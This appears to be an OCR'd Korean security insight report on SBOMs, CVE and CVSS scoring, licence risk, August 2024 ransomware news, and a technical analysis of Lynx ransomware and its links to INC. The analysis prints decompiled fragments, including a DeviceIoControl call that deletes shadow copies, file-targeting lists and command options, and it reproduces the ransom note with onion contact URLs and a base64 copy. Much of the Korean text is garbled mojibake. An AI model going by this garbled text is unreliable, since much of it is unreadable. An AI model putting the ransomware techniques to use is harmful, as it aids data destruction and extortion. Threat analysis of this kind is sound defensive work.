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Meet Llama 3.1

The open source Al model you can fine-tune, distill
and deploy anywhere. Our latest instruction-tuned
model is available in 8B, 70B and 405B versions.

° Start building ° Download models ° Try 405B on Meta Al

* Z%]: Meta Liama

a9 1, e=Z4A Al gdo] 29 Llama 3.1
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<Entity>
metadata/authors/
Author Name | (2.8) Creator: h @role(tagCreator), ComponentAuthor:
author
@name
Timestamp (2.9) Created: metadata/ timestamp | <Meta> ReleaseDate:
. <Entity> @role
. . Supplier .
Supplier Name | (3.5) PackageSupplier: Publish (softwareCreator/ ComponentSupplier:
ublisher
publisher), @name
<softwareldentity >
Component Name| (3.1) PackageName: name ComponentName:
@name
) ) ) ) <softwareldentity > )
Version String | (3.3) PackageVersion: version . ComponentVersion:
@version
(3.10) PackageChecksum: )
o <Payload>/../<File> )
Component Hash|(3.9) PackageVerification |Hash “alg” FileChecksum:

Code:

@[hash-algorithm]:hash

Unique Identifier

(2.5) SPDX Document
Namespace
(3.2) SPDXID:

bom/serialNumber

component/bom-ref

<softwareldentity >
@taglD

FormatlD:

Relationship

(7.1) Relationship:
DESCRIBES
CONTAINS

(Inherent in nested
assembly/subassembly

and/or dependency

graphs)

<Link> @rel, @href

IncludeComponent,

ImportComponent
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1. ISO/IEC 18974:2023

ISO/IEC 18974:2023 & &4 o0&
FEFol2F ISO/IEC =4 & x4o=
e ™ OpenChain ISO/IEC 18974 - Secu: X | = u

-
& g 1  httpsy//openchainproject.org/security-assurance as A O 1y m = E2)

S

CITHELINUX FOUNDATION

CEDOPENCHAIN S Potcoste Rosoucss 7a0 porers tews st X i 89

Learn More About ISO/IEC DIS 18974, OpenChain Security Assurance
Specification

0

What Is ISO/IEC 18974?

ISO/IEC 18974:2023 defines the key requirements of a quality open source security assurance program. It was previously
known as the OpenChain Security Assurance Specification 1.1. It is a de-facto industry standard and a draft ISO/IEC
international standard. It was published as a formal ISO standard in December 2023

Already Conformant? Let Us Know About Your Adoption:

Add your company to our list of conformant organizations

What Does ISO/IEC 18974 Do?
ISO/IEC 18974:2023 helps organizations check open source for known security vulnerability issues like CVEs, GitHub
dependency alerts or package manager alerts.

* 23] ISO/IEC 18974:2023
19 5. ISO/IEC 18974:2023
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cve_listhtm as A m = % @

S ) 7] hitps://cve.mitre.org/c

Search CVE List Downloads Data Feeds Update a CVE Record Request CVE
IDs

TOTAL CVE Records: 240830

NOTICE: Transition to the all-new CVE website at WWW.CVE.ORG and CVE Record Format JSON are
underway.

NOTICE: Support for the legacy CVE download formats ended on June 30, 2024,
New CVE List download format is available now on CVE.ORG.

Search CVE List

You can search the CVE List for a CVE Record if the CVE 1D is known. To search by keyword, use a specific
term or multiple keywords separated by a space. Your results will be the relevant CVE Records. View the
search fips.

Attention: CVE Records now include product versions & more on the new CVE.ORG website. Learn about the
new and improved CVE Record Format.

| Submit |

* Z2: MITRE
1% 6. CVE AA o]z

)

oA CVE ID & Zdstd Fofd 7last ¥z Fa7t Asdd. iz vl= =71
glo]EH|o] A(NVD, National Vulnerability Database) H3E Fall ald FHeFdo] st

A2 slo]sh

HoFd 53 AA'I(CVSS, Common Vulnerability Scoring System) H4E &1 4= 9lom,

= o
o el H7H4e BT & n,

A

ol M oy
O

o
ofl ofm 10 1
e

EQST insight | 13



L]
: [ B NvD-CVE-2023-3439 x | 4+ = o X

] [ https://nvd.nist.gov/vuln/detail/(CVE-2023-34396 AN T M = ® o
JAKCVE-2023-34396 Detail
MODIFIED

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis
which may result in further changes to the information provided.

Description

Allocation of Resources Without Limits or Throttling vulnerability in Apache Software Foundation
Apache Struts.This issue affects Apache Struts: through 2.5.30, through 6.1.2. Upgrade to Struts 2.5.31
or6.1.2.1 or greater

Metrl Ccs CVSS Version 4.0 CVSS Version 3.x CVSS Version 2.0

NVD enrichment efforts reference publicly available information ta associate vector strings. CVSS information
contributed by other sources is alse displayed.
CVSsS 3.x Severity and Vector Strings:

w NIST: NVD Base Score: |[FSHIGH]

Vector: CVSS:3.1/AVIN/AC:L/PR:N/ULN/S:U/C:N/IN/AH

E CNA: Apache Base Score: @mw
Software .
Foundation
Vector: CVS5S:3.1/AV:N/AC:L/PR:L/ULN/S:U/C:N/IN/AL

(

¥

q: NIST

e

a3 7. CVSS A4 #o]x]
Key Point - HQtF|FH Z2|E fITt SBOM &=: O|F,
B. oldx BelS 1% G2 44 U B Foldsd 27 3)
a-

o ohth et et HA e A, HoA

= -
520 FAA £do] WAT 5 Uk FAT FRol YwHoZ ol

Permissive

(®18)
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Weak Copyleft « QEAATL AIREl ST AARE BEE
N LGPL-2.1, LGPL-3.0, EPL-2.0, MPL-2.0
(&t X9 3N
Copyleft
by GPL-2.0, GPL-3.0 « QEAAQL ATIE DE AN FE ZI
(&3t ®eh
EA4: B HFAR SW 35T Ht 7Ho]=2421(2024.05)

2 J|Fog Mgt QEAA SW
ARE 7S HEE & Qo &, 79 T AW AdolA st

fol, @2 JiEAter &It ARUETE Adsts 2nESO], AT vt =7oA
12}

1
.
=
=
1
pu

HolA 2AsH Ze Brbsolth 042 SW S oln A
2 pasty 2] S Bt Fokdel dd 9Bt

A BOHHIORY, toldls, B WelS Sl thawt Lo| HokE BAES

Hores It 71E oAl H|1
CVE 7} EX8IH CVSS 9.0 ~ 10.0 ALO| CVSS v3x AttZoto| M2 dzg
ot CVE 7} EX3IH CVSS 7.0 ~ 8.9 ALO| 22 7|F "Low", "Medium", "High",
CVE 7} EX3tH CVSS 4.0 ~ 6.9 ALO| "Critical"®f| 2t 7|& 42
CVE 7t ZX3SIH CVSS 0.1 ~ 3.9 ARQ| (EN: https://nvd.nist.gov)
Copyleft(&deh M <f) 2to[d A AbE =2 2o|MA AE Z=H BFES f%h
2to|MA | Weak Copyleft(2feh H o) 2to|MA ALE =A ZX|9| J|&d Holzof mat J|F
Permissive(1 &) EHO|MA AL =HA =)
o e FHHe S8 MEE = Qe B2
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Keep up with Ransomware

Lynx WA gole] 543 INC 2579 A4 754 24

m i

2024 84 Aol Half AElE Ad 7E@1570) tiH] oF 12% S7Feh 46405
gole A wsiEet ofyzt S v &% F7HEH.

N
Ju
e
=
o
r'E

8 9 15 4, 17 12 CyberNiggers oA BEal= <leElH 2 A(IntelBroker)= 317 AR E
H2]2] 2 BreachForums)oll =i FAHE Ao]E #2jofule] fo|HHo]~(DB)E wrddtt=

l

& 23 IntelBroker = ©F 160 §F 719] ofold], v S, ojf|d Fo] 3 HHE FHATL
=R} o]E 8§ ¥ 23 A, Fglojdle AR && AL olAHF T o= oyt A gojule
=2 dlolE7t 2018 @ 4 F o]X9] Zo|H, ofolHE AlL|Rt o]FH HEWRE g2 F8 YHE
o ste]o] B3 st Erbeotttal A

IntelBroker &= F7HH 22 W HoleE /A3 8 Y 24 ¢, ?h= AHE7F 72 ojul DB A=l
Hosle A= olfER  FHRE  Ho]eE  BreachForums o F/0Rt. 3E AHRE
oz B GAHE BE 2dR%E FA2 AT

Aol AE A pan ygow o
ARG g7 o4 WIS DAY FAUL olgelE, Fu Mad Edoly SRE FY U
Edold 400 ¥ WOl B9 RS Wojgcs 2ah F 54 L sSETelAAUOMS) SRE
719 240 B9 JuE PuiAthe Fx F7te ANH

Aol 189 BaW §EF AlEcls Ff s1ge] Hs) ARt SEs 8 9 11 9,
4Gy I A ATH B S3H 19 FRALAS IS wfacis

ol

ANZE JRE Wk 8 Y 14 Qo= AY FH, ojAA, ez 1 Ao} i Au
EREE @o} 23TB ©| HolEE HE AP sheNsd 474 Snatch(22 @ 1 ).
Egregor(20 W 11 @) A4glole] 2ja) oln] & 2e] $28 ol ol o], Abm W Fol H8a

ZA7F S8 %%‘6‘}% AZ17F St

! LMS(Learning Management System): 8}52+0] 8t A st FejsHe 2kl AlAF
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4 23 dofle drgtE(Eldorado) Aol 2Fo] W A7 HIEEA(DevOps) M AAH

7192 FAPHY TR, o 2d AXZls &2 FETF UddE ol HAEE ME=R
Ag-shH, 1LSBTC@RSE oF 19 2%t o wmfjstal Qlot.
Aol dHolHE oy A= FE O AXGHE E4S Holw ZARE  EEo] 2
O AZ A A (Dispossessor) LE2 2024 | 8 € 9 lzZztE gt 8 9 13 ¢, u=
AFTA=(FBD, ml= HEFR(Do)), =¢ F FAEEADLKA), = =ZHHAFNCA), =54
HH23 HZA2 Dispossessor o] HIOJE §& A|ESE 3A AREH AHE Pk wl=
A 3N, Y= A 3, =L A 187K, = Z1HE =]l 8 7, = ZIRE =l 1 07 o4
ool At

& AHIAE AlFcks A3t = A4 (Jenkins) ]

Els At o] FHFHL 2024 & 1 Yo HAH HH Az

TAR7E WHE A4 g /OR & 4 e Frdolth Jenkins FHOFR2
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FAE AT INC HAdol= & 59 o2 ol Hdlol 22355 307 D2(st of
Dol Bt 25 &Y Ao Utk Lynx WALIelE B4 At INC g golet 753
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() EHOHSH= GIO|E{E B 1608H0] JHO| F20|0), B74El ME T O|E{0] W2 ID, PW, E-mail & 3|8 Yui= 2y

] -> IntelBroker, =45 C|O|E{ S74

() 8% 15% R=C3 7i2(0j4 DB HOj 28 ©3 B} ol YCID), M2 SMO= 53 23 Fw= 0jo|g F7f

() 37HE AE 2 0|ojX|0f M2 @ RYLHRFHSAY B2 CO|E= 33

(Q Z2IR Heo] 270l o 23258 7400 22 84 TYES o= W

] - siZ =3 BreachForums &2|X} HZ

() 241 52 FBI, O3 YRL(DO)| I8t BreachForums A|A8 % 0|3 ShinyHunters?t 22|

3 -> LockBit MA19]0f, )3 95 AtO|E0f A2tk )
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- -> Jenkins ¥|2}7 (CVE-2024-23897)2 8%+ Mg

=2
g
ih]

() CVE-2024-23897: 3ZAt7} Jenkins Z1EE2| T A AHO|A §0|0| THAL AL 4 it
(L) 780l £ RansomEXX 1E0| Brontoo Technology Solutions Z2{0f A8

(L 820U IntelBroker7t BORN Group 320f Af8% & w2l

I > 12 =3 BreachForumsoll LY 7| BIOIE] BOjZ 271 H|A

() 82 42 "OxyOumOm" O|2H= RX{7h JUY T2 20|l EAHZo| 224 9l 20| el HojZ Al
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] -> ElDorado 11 & =L 2% DevOps T&E HEY 7

1% 34

() 82 232 RIS 0129 28 Aol=0 Kjole) Toj 22 y=c o
() HOIEl 700 A Y8 MBeh £2 AT} LS Y ALEE ME COIEE MBI 1BICA T

3 -> Doubleface 15 2| 170j| A FHAd¢ll0f THoj

Q 8% 5 XS0l YO S SA Mo Tof AR}
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m HHLdo fIF
infosec

0 RansomHub 73 New ransomware variant

Chaos : MaxCat, HawkEye, .8base

Proton : .Zola, .griffin, .hOrus13, .Datablack

Medusalocker : .pomoch45, .attacknew1
e LockBit 37 Makop : .LUKCY, .insom

o Play 28
New ransomware & group

e o 21 fl\ HellDown, DoubleFace
-3
ﬁ@!f
> —
r._‘u:.‘_l
D o oI
O 52 (2) ca 27

e Im/4/82 46 m

= AMRIES AR &, Adeld

=

84 13Y 4% HellDown Al 152 o2 ¥l HolH &
9 9 msiAE AU, o= 10 <
usiatE AART. HeiAt Folle tithel] AT 2=E HEAT B Het &34
Networks = EtEo] 9lom, o]52 253GB of s
AU A, 22 8 E 24 o o] RE gAY {E ARIEY] HET &

AEELL A

gtw Doubleface 152 8 € 5 o A1 AHde AHstn, o]E F=2 Zgo] FEst Yk
XGF ESIE)IAE BESe, 2% WAAE FA A0S0l FAS SHoz St oA
Aeede #olal etk ERF X 9] AadfigholA A4S #Alor si7] IF APT66 o= A5t
k. ol WHGO] AmBw ohst thol Wiole Wz BAL AdWsi gl
Hexalocker, @& E (RansomHub), God Team, LETGHOST Z<& FAX} 15T ASEs
WAk FHFcE ot RansomHub 9F9] Al§ AXZ2 @4 AHA1E AdHo

i
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04:59:52

Copy by LADT TRCR

19 3. Doubleface A ¢ o]

Doubleface 7128 g8 Qg HAd G, @AYol T AAXZE 2501, g A=
AES ¢} RSA d12]&S AEs] mtdS 4S3total Anti-VM, Anti-Debugging, Anti—Sandbox
715 ARttt FHsk ok ol A3 Fdel w2, o destETt ofyet Eo5}
7] ¥ A2 A= 1St etde Alofste 7k ZedEof Qlrh Iy B33} 719 USE

AshA] Al FAA —“—%if’}é Alstz] diZol, ZXE 715 =g B¢ odo] dFHe=
Agele] Hol2E+& Y 500 EE(eEt oF 67 T H)olw, AA
1,340 9t el mufj=a gl
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RansomHub
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() FRRZZA () IT:0l2l0
& ukE= (P SE2gH

a9 4. AQ/ANE Fo BAGel 24 9

RansomHub #A o] 152 7 Helvt 48 o] msix&E AlAstH &ds] &s3on, 8
O 25 4 ¥ Ee 73 AS AXSH fgAd Eege Ho
EDR (Endpoint Detection and Response) &F4& HI&A36t= o4 T<¢1 EDRKillShifter &
AR Aol TAEHAH. o] k4= A Al dostd farE Hostelr] fsi 54 7] el
"ashy, Al Eatolw o] FHepdS o]g3t BYOVD(Bring Your Own Vulnerable Driver)
7%= &l EDR &£F4° Ho 7|52 HEAHIY. oid oA e thadolA] wojs~]
ozl o 3 Utk BYOVD 7|'HE& A= &5 e Eeto|HE 5o

A |5012)7] wi&el, EDR &FA4x A% 2] 59 Ade of-go] Zasith. RansomHub
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Meow #:AdHol= Conti v2 A0 29 £2AFTE 7|tz AzHE 2 glojrt. 2023 Ao
g3l & AIEE ZiES o]F, g 10 7 olste] mjsiatE AlAsigtou, 2024 d 7 EHE
ooz} =71 F7Fst7] Al&bsl]l 8 Holl= HA maliate] 51%°l slidste= 43 & AlX ot ol
Zapgoz  ZIHh o] 2 8 ol 50 A=l AAE & =29 ASFSAF Zydus
Pharmaceuticals & 548 AT &4, 14 dlolg, 4 A A7 5 20GB of Yol= Hlo|gHE
ST Aoz IRt

2l (LockBit) WHHolE 8 € 11 43 12 &, b3 §F APolEe] <F 90 9] msizts
ALHo g AANFOL, thREL 2022 WHE 2024 W Atolof| oln] AAE wsztEe|det. 1%
At melizbe 15 ol Ex5ich olF 2 9] mofagt F7tE AAehH &Eo] AX3J BES
Holtpzt, 8 € 30 ol thA] 11 A& F7H= AT

Zdo](Play) ;A olE F2 ul= &4 7AES FH o2 A3 olrh 8 Dol m=e] HA|
A ZAFRD Microchip Technology & &ZAo] WH 1Y dolget 7iQ1 FH, o4t Fof, 34
AR 71 AL DAL HH BA ARE FATFOH,

e

Lynx sddllol= 7 doll 547 A+ 18e=, 8 ¥ B¢t 55| woixE J=Esh 5 A=
= = 719491 Pyle Group =
FAZoH, AnE I ERrt A & HlolHE
M 8 ¥ 15 Yol HlFAMedusa) #HAAOY] HAY F& ARIESZ Pyle Group ©]
Haiztz AX =A™, Medusa T2 TOX Chat 2 53 dlo]gE &dsh 4= oty &3t
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(WMYELEC) mgelec F!e.ctrical n 1 n"l.at:‘l‘-?w??Petroleum q L S:;:;t::?;
A L q 0 (gorteng.local)
eaks estripbion of on

= Myelec Electrical Wholesalers is a Headquartered in Ontario, Canada, Description of the puk
Report

proud to be a 100% locally owned and MacEwen Petroleum Inc. is a Canadian

= Gortemoller Engineering, Inc. has been
operated... owned and.. e < 5 ~
providing civil engineering and land
deve..

J: Proof

S Proof

ws: 67

Go to the publication

Go to the publication

74 it
TAsth. A= S2jold AlERE Ho] Fhadt AHIth 7 9 24
Ay §% AolEo gRE" I8 A2 wEd, Lynx & 247 BEHS 9§ 34

— 1

SosAR, R AlE WY, vde] 24 5 Asdesn ad A% sk AT delat
QAT T4 AT AL AL Aokn 2A4eka ek AR o5 o5 AB!e AT rrrad
AQl ok foR AL SuWsil, B% A @ 2wl 21 A9 WIS AT e
k|
A=}

INC Ransom Blog / Disclosures / 66c7951d4b308506094b%ccc

R News

HL Lo & sorey @ HL Lawson & Sons
+ Disclosures Y O ¢ Revenue: 10.3M$

F Report

DomWs R Gl 3 H. L. Lawson & Son, Inc. provides transportation management solutions. In-house logistics for product

=B movement across the country ensures your supply chain is well-managed and secure. Dealing with
one solutions provider enables accurate, real time information flows and delivery status. Lawson

The University and College Unlon Logistics, a subsidiary of H. L. Lawson & Son, Inc. operates 34 power units for freight moving out of our
distribution centers. Lawson Logistics core business is to provide just-in-time, next-day delivery in the

w (2] Northeast and Southeast. Our fleet is equipped with satellite tracking capability for up-to-the-minute

reporting of delivery status. Our drivers are highly qualified and extensively trained in customer
service so your customer has a satisfying delivery experience. Using our well-maintained equipment
backed up by a nationwide network of service partners, we can ensure on-time delivery of your
freight. If next-day service is not your concem, or if you have existing freight contracts with other
carriers, our staff will work with them to ensure your satisfaction. H. L. Lawson & Son, Inc. is situated
on interstate highway 81, and is just a short drive to Interstates 64 and 40. Our facilities in Roanoke,
Va._, are within a days drive of 60 percent of the nation's population.

® Lynx < Leaks - Myelec Electrical

O News . Myelec Electrical &8 Myelec Electrical

‘ Leaks

MacEwen Petroleum Myelec Electrical

B Report
Gortemoller
Engineering
(gorteng.local)

Myelec Electrical Wholesalers is a proud to be a 100% locally owned and
operated WA business.

Our business has grown tremendously from three staff members at one branch
in 2006 to over 55 staff memb: cross nine branches today. Thi

Rushlift (lks.net) reflection of our excellent service. We are results driven and onl
best. Each member of the Myelec team adds value to the bus
enjoy a comfortable working envirenment

a9 6. tt2Y f& Ate]E H|u(%: INC ransom, S} Lynx)
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Lynx s4d9ofet INC A
Agog INC #:dYo] 1Eo]
HE oo a2 7= AlETL

e

5
o<}

o5

ABYS Ao
ol t}q
AR TRl S

ozl A= A
Gl

%% AIEY dRae

Agat gicke ol

Ak A HA
a9t %, Lynx

o

text "UTF-16LE", 'microsoft sql server’ ,8 text "UTF-16LE", ‘microsoft sql server’,®
align 1éh align 4
3 const WCHAR asc_428AA8 ; const WCHAR aWindows
asc_420A40: aWindows: ; DATA XREF: encrypf
text "UTF-16LE", 'windows',®
text “UTF-16LE™, *\',0 ; const WCHAR aProgramFiles
; const WCHAR aWindows aProgramFiles:
akindows: ; DATA XREF: encrypl
text "UTF-16LE", 'windows',® text "UTF-16LE",
3 const WCHAR aProgramFiles ; const WCHAR aProgramFilesxs
aProgramFiles: aProgramFilesX8:
3 % E
text "UTF-1B6LE™, 'program ‘F119= »8 text "UTF-16LE", 'program files (xSE) ]
5 const WCHAR aProgramFilesXs ; const WCHAR aRecycleBin
aProgramFilesXs: yp aRecycleBin: ; DATA XREF: encrypf
; rg i text "UTF-16LE™, "$RECYCLE.BIN',@
text "UTF-16LE™, 'program flles (xSE) 28 align 4
; const WCHAR aRecycleBin ; const WCHAR sAppdata
aRecycleBin: DATA XREF: encrypt afppdata: DATA XREF: encrypi
text "UTF-16LE", '$RFCYC‘E BIN',2 text "UTF-16LE™, 'appdata’,@
align 4 3 const WCHAR aExe
3 const WCHAR afppdata afxe: ; DATA XREF: encryp
afppdata: ; DATA XREF: encrypt text "UTF-1G6LE", '.exe',®
text "UTF-16LE™, 'appdata’,® align 4
: const WCHAR aExe ; const WCHAR aMsi
aExe: ; DATA XRE ENCryp aMsi: ; DATA XREF: encryp
text "UTF-16LE™, '.exe',® text "UTF-16LE"; '.msi’,®
ahgn 1eh align 1eh
; const WCHAR aMsi ; const WCHAR aDll
aMsiz 5 DATA XREF: encrypi aD1l: ; DATA XREF: encryp
text "UTF-16LE", '.msi',8 text "UTF-16LE", '.dl1',8
align 4 align 4
; const WCHAR aDl1l ; const WCHAR alynx
aDll: - encrypl alynx: = DATA XREF: encryp
text "UTF-16LE", '.d1l',8 [text "uTF-16LE", '.1lynx",8]
align 4 aEncryptings: 3 DATA XREF: encrypf
; const WCHAR alnc text "UTF-16LE", '[+] Encrypting: ¥s',88h,8
alnc: i DATA XREF: encrypl ; const WCHAR asc_425470
| text "UTE-16LE™, '.inc',8] asc_42547@: 3 DATA XREF: encrypi
align 4 text "UTF-16LE™, '\\?\',8
aEncryptings: ; DATA XREF: encrypl align 4
text "UTF-16LE", '[+] Encrypting: ¥s',esh,@ i const WCHAR asc 42547C
a3 7. Aol A4 ¥ 2 (F: INC ransom, 9 Lynx)
T A e Lynx HAMRl LS 24T 2y INC Hg4lolet gt 2Ady o2sl
TuYEe AT Qon, TR AW 55 5 J5HoRE e AT HEo] Sl
ol INC WMol 1Fo] 5 Wol Wife] £rIE W B WY 2L Fa A2
AAFES o7 awﬁao G (@5t oF 4 o ol WA o|e] U A Aol Y
Aom HAth Lynx #GHN7t o] £AAFES Fufs E52 AARE AL 7Fs/de] A
et ol HuAodE & fiddleld AT Aolde HASAHoR FASHH, Lynx
Aol digh ARt &4 W82 Alsstazat
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Lynx Ransomware

C

A

2=t 7/

Curve25519-donna ¥L2|ELE 55 7|& /d5I1 AES-128(CTR) 22| FL22 ot
b

AES-128(CTR)

Encrypted
File

Curve25519

Encryption
Key

SHA-512

gst gy

)

g 37171 1mB 0|2k HH ¢S35;
ot 37171 1MB 0]+ eMB 0|2k & 1MBTH Y55}
ot 37|7t emB 0]4: eMB ZHAHDICE 1MB THE

esat

4r
HI

aNra=z || 2o 2q
Alall o
24 47 pEr b

2

AES-128(CTR) &

TR A & HMLE
Curve25519-donna HE| A= MH|A E2 =2

Y=ot

S
&R BIE

ID

‘;‘-'_f’g_':g Chat site:

|

~ TOR Mirror #1;
~ TOR Mirror #2:
~ TOR Mirror #3:
~ TOR Mirror #4:
~ TOR Mirror #5;
~ TOR Mirror #6:
-~ TOR Mirror #7:

3| README txt - Windows BE5
Muo 27 EEEM)

‘our data is stolen and encrypted.
Download TOR Browser 1o contact with us.

~ 66b33295a3128b53533bd263

~ TOR Network: http://lynxchatlydzludmhmi7SjrwhycnoquiobdprohxmyzfdeufSgjxroad.onion/login

http://lynxchatfwdrgsclpd567idllkqjr2kltaumwwobxdik3ga2oorrknad.onionflogin
http://lynxehatohmp pvbaubTlloc2vsbchy Tnya7dsu2hhs55mejxp2joglad.onion/login
http://lynxchatbykg2vycvyrtigb 3yujdze2wvdubzr2ubb6 3 2trwvdbsgmyd.onion/login
httpy//lynxchatdedspvSxbxiwxfd 7jdo Twitwwgikdoeroxamphu3e7xx5dogd.onion/login
http://lynxchatdy3tgcuijsqofhssopcepirifg2fdpvbSqddunddhayxswqd.onion/login
http://lynxchatdykpoelfiglvebtrybaTgxk3rs2aiagh7ddzSyfrtd6quxqgd.onion/login
http://lynxch2k5xi35j7hibmwli7d6u2ozdvp2wgpbgkwolb24cod3deigiygd.onion/login

~  README.txt

Eggav{
5 lof {

dynx

C/C++

1% 8. Lynx HA ML

infosec
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Lynx g9l A=k

infosec

Initial Access

Discovery oloiy HEYs E3t WU HE
AT Sato|m gAY N ——
Mew3 35 wA R Defense Evasion
A 4
Privilege Escalation pead eng ue
TRHA WA E2 ET é S
Execution
N —
Impact ] A2 MHAE obsd BYO WY
WOl HAE At \ /
CjojE| =3t UENE
MH|A S Z2HA FE I i
| i —
A
Lynx @A 9ol= A3 Al F7H4Q A &A% Eeto|HE mhREstAL:, AdY Al
Holz WY ZEIZE & &7 ststAY HZAdsked & Sl & 12 79
Aol EAstH, ¥Hxol A3 <l = Adgo] 7Hssith. Lynx #4dgol7t
AHgShE A3 1zb= ot meF &
oIxt | EE |
--file [MtYE 2] XE8oh oot Aot
--dir [CIMEE|FZ] XEe E2H0 L=zt
--help HY oIxt 4 =9
--verbose ClHY 21 =H
--stop-processes o A=zt AW, iy oiUo| HdAlS0 4@ Z2MA B
--encrypt-network HEQA 38 xtg A3l
--load-drives =747 EZIO|E ORE
--hide-cmd Yol 2™ A 20|l HE ZEZE ¥ 5
--no-background HiZot® HE 7|5 Hl2dat
--no-print HH-E =8 7|5 Hgd3t
--kill E™M Z2NA 8 MHA SR
--safe-mode e RE (s EXSHX @S
1. Lynx 490l 43 A
aaslo] B4 AT 12709] 49 A% §4 F F BER Beel s)soleta AWE “safe-
mode’®l A%, o b JUREA sk mEE EASAY AR uRER
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tion (fast., medium, =

Lynx Aol AW QAL Eolg b2 B A 71%w 2% PAo] INC BAgelet
FUshh. thit INC BAGolE 4ost BES AFT 4 g —-mode” AAE EASHE W,
=

Lynx 9ol B2 4ot REE AAStE 7|50l

INC s flol= B4 AlZE AE| 2o SE A=
AT 7150l ofdl AAFeH, M ARl “~—safe-mode” UAE oFFd 7E0] §
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£ “—-verbose” A3 AAE Abgshd #AHA9 A ghE HoFa A od
I JeAE WE ZEIE o] EsH "ot ¥R A JdAE dHHA

2 Z3yst 5
7S EASeA “Settings™ol “[-17 Al “[+]7 71T E T SASHE BAISHE o]Feh A2
71%-& INC ool “~—debug” Adl <1z} SAgt 7]50|ch

A 1zt “——kill’E dHstH, :Holof StEIPH Z2AA P AMH|A BEES XS] A

A
Z2A20t MEAE FRAXIY INC gl “——kill” A3 1xet 54 7]
HHHof F7Hd "g2E \AH7] notepad & ALlStL Fr Aol BT FUS
LA~ B ARA Fa g2 ol ®eof g

sql, veeam, backup, exchange, java, notepad sql, veeam, backup, exchange

E 2. Lynx FHHo] Z2AL 9 s Fa O

? 1¥7) (Debugging): L2 A ©A Sl WSk A2de 7S ok Syske 3y
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if { DeviceIoControl(Filel, @x53C828u, InBuffer, @x18u, @, 8, &BytesReturned, @)} }// delete vsc (change vsc size 1)
// ©@x53c828 = IOCTL_VOL SHAP _SET_MAX_DIFF_AREA SIZE
// resizes the allocated space for shadow copies snapshots cause the deleteion of vsc

13 12. DeviceloControl & ©]-&3t ¢} BALE AHA|

A EtolBE dmetsty] Ao, A W] ZARES AARbT Lynx A %l‘ﬂ-‘l} INC S lol=

2 @Y ofoA T8 Argsh= WY EAE #E]8 Windows 23 El(vssadmin, wmic
shadowcopy, wbadmin, bededit) & 8512 il tjHlo|AE ]010}—,: &+ DeviceloControl =
o]g3f W<l EAES AAISH}. DeviceloControl &5 o] &3] WM HApEo] A EE I+
o} A AR ALEE WM AR el ISty A4S H1, A% T
SRS i) olv] AFE WY BARE AASA Beh Lynx BAAINA AL AL —file”
Qs “—-dir” AAE BT A1gol AL ojer St

while ( !WMetEnumResourceW(hEnum, &cCount, v4, &dwBytes) )
if ( GetVolumePathNamesF. 5, szVolumePathNames, @x78u, &cchReturnlength) {

&& lstrlenW(szVolumePat| vs = 83

. if { cCount }
szVolumePathNames[8] = @; {
} v6 = vA + 3;
else do
{ {
/7 = lpszVolumeMountPoint[ve--]; if ( wa[2] == 3 )

1f ( SetvolumeMountPo 1\1" (v7, v5) ) // Mount Volume

if ( param_verbose )
print_message_with_ s(L"\t[+] Mounted % s\n", v7); if ( param_verbose )
print_message_with_ s(L"[+] Found share: ¥s\n", Stringl);
encrypt_target_directory(Stringl);

L9 MEYD 2% AQ 2D

™
ES
[m

a9 13, 423 g #-8E: 43 =7

e GF2olE AAshr] oo deet tide sk ol A “——load-drives” AAE
ARESHH, whd ofeel oo A Egfo|HEH Z EefolH7A] RE EtolHE Bl £AX
Eato|lHrt EAshEA] Eeleta, sy CetolHrt ZA st uheE & g5t tite] Frsict
EF “-—encrypt—network” UAE AMESHH UEYD Ff AHE: el dide] FrRtth o=
INC #d9o1e] “~-1hd”, “~—ens” Ax}e} F LT 7]59]

Q) et “——fil” 4 g Al 54 maw gEsksi], —-di A% 9 Aol 57
Azo] ZASIE HUSH gEskaTh B o d9EA G4 Aol ool L AYT BE
e GuEaT ¢Est o g L B B Bhl Hel sl AFEH glom,
speldl ofl9] e ofef met 2t

oo =tExt 3¢ e olel £

Windows, Program Files, Program Files (x86),
$RECYCLE.BIN, AppData
E 3. Lynx o] gast A9 i

*exe, *.msi, *.dll, *.lynx, README.txt
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otk INC #HAgdole] dast oo tid2 7o FAsHAR ool zpol7l EA ettt

Lynx @
ZA5HE “microsoft sql server” EHE &Edlote IZE7F FUHH ESE oju] 4SstH oS
FTEOo=Z 2ot obx] 7] fls F71Rt “lynx”7F INC fid9olol A= “inc’& th=th

“——mode” QAE EH F 3 7HHo] ¥4zE REES AFSt:E INC WA &, Lynx

PAAols dEst S AHste 715e] BEg EASHA et INC HAddole oo As,

3t & Al 2 IMBARE S gtst= fast E2F 6MB Pith IMB THET &2 36H= medium
o

no, 83 o) HAE d5dehs slow REZE At Lynx Aol ©] F medium

infosec

1MB ¢33}

5MB 4+ mte!

1MB %23}

5MB 4 oted

4 i ®
°
°
1MB ¢t s}
o ot
1MB 0|2t 1MB 0|4 6MB O| ot 6MB O] 4}

39 14. Lynx AG90] gesh w4

=

Lynx si4d9lojo] ost WAS & o AAls] AHEH 9] Il oy IMB miRhe] ol 4
AB3E Zst, IMB o4 6MB mIRte] mdo] ¢ mrede] A IMB ¥ &2shs . 1en
6MB olAte] mde 6MB ztAo= IMB A ¢resistth. ot ¢Fe st AES-128(CTR)
A1 EE A dBSE FdstH, 7] A ¢EE SR Curve25519-donna & AHEE 71&
H 53}

=
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infosec

User Lynx

3717| B

Curve25519

Q17| A

\

Curve25519

p—t ‘_-'-I‘OI °F§§ i K1} %iil’ —
2 (e XM
% AES-128(CTR) AES-128(CTR) %

Lynx @HSelelA] FE 718 PHAS o, WER 78 FTHHA otz 718 BT 4 9l
ol AgT Curve2S519-donna FaEFo]l 7] Bel gmeFolr] ot 7] R
FnAEL Fol F ALAE AAe Al Ade] 27 o8 B AYE 44T
& olrk ARgAts Belo vz $AYIE wERL, Aol Alylet Aol B2 A
Z1C)7F el Azish el B2 AT A1Be SUF g 7HAA bk o] S

71(C, HE '&& v|d'olgty R B},

Lynx #Hole oot o4 wtdnid 9t Ad7Ieh S7071E Ad &, ST A7t
= 3 15, mdo] £ g

19] 7712t A=A 7H°L7]% AHEsl et ARGt

0%
o,
:CI’L_"
|
ifics
filo
ol
to
ol
&
iu)
[¢]
ol
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= decode_basetd string(
&
"WWI1ci B<WKRhIC__IFth2> hbmQgZWs jcnlwdaVkLg@kKRGI3bmxvYWQgVEISIEJyb3dzZXI gdGEgY 29udGF jdCE"
"3aXRoIHVzLg8KDQpIRABKIHAZIW1kIQBKDQpDaGF@IHNpdGUEDQogfiBUT1IgTmWBd 29yazogaHR@cDovL 2x5bnhjaG™
